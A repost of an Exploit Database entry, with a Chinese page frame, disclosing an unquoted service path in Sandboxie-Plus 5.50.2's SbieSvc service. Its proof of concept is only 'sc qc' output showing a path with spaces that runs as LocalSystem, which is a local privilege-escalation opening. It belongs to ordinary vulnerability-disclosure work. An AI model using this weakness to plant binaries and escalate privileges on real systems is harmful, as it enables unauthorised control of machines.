Sandboxie-Plus 5.50.2 – ‘Service SbieSvc’ Unquoted Service Path

Exploit Database
96 阅读

作者： Antonio Cuomo

日期： 2022-03-10
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/50819/

# Exploit Title: Sandboxie-Plus 5.50.2 - 'Service SbieSvc' Unquoted Service Path
# Exploit Author: Antonio Cuomo (arkantolo)
# Exploit Date: 2022-03-09
# Vendor : David Xanatos
# Version : SbieSvc 5.50.2
# Vendor Homepage :https://sandboxie-plus.com/
# Tested on OS: Windows 10 Pro x64

#PoC :
==============

C:\>sc qc SbieSvc
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: SbieSvc
TIPO: 10WIN32_OWN_PROCESS
TIPO_AVVIO: 2 AUTO_START
CONTROLLO_ERRORE: 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files\Sandboxie-Plus\SbieSvc.exe
GRUPPO_ORDINE_CARICAMENTO : UIGroup
TAG : 0
NOME_VISUALIZZATO : Sandboxie Service
DIPENDENZE:
SERVICE_START_NAME : LocalSystem

last Exploits
Sandboxie-Plus 5.50.2 – ‘Service SbieSvc’ Unquoted Service Path的更多信息

Zahir Enterprise Plus 6 build 10b – Buffer Overflow (SEH)：
BartVPN 1.2.2 – ‘BartVPNService’ Unquoted Service Path：
Easy PhoroResQ 1.0 – Buffer Overflow：
Media Player Classic 6.4.9.1 – ‘iacenc.dll’ DLL Hijacking：
IcoFX – Local Stack Buffer Overflow (Metasploit)：
Linux Kernel 4.3.3 – ‘overlayfs’ Local Privilege Escalation (2)：
PeaZIP 2.6.1 – Zip Processing Command Injection (Metasploit)：
Linux Kernel 4.13 (Ubuntu 17.10) – ‘waitid()’ SMEP/SMAP/Chrome Sandbox Privilege Escalation：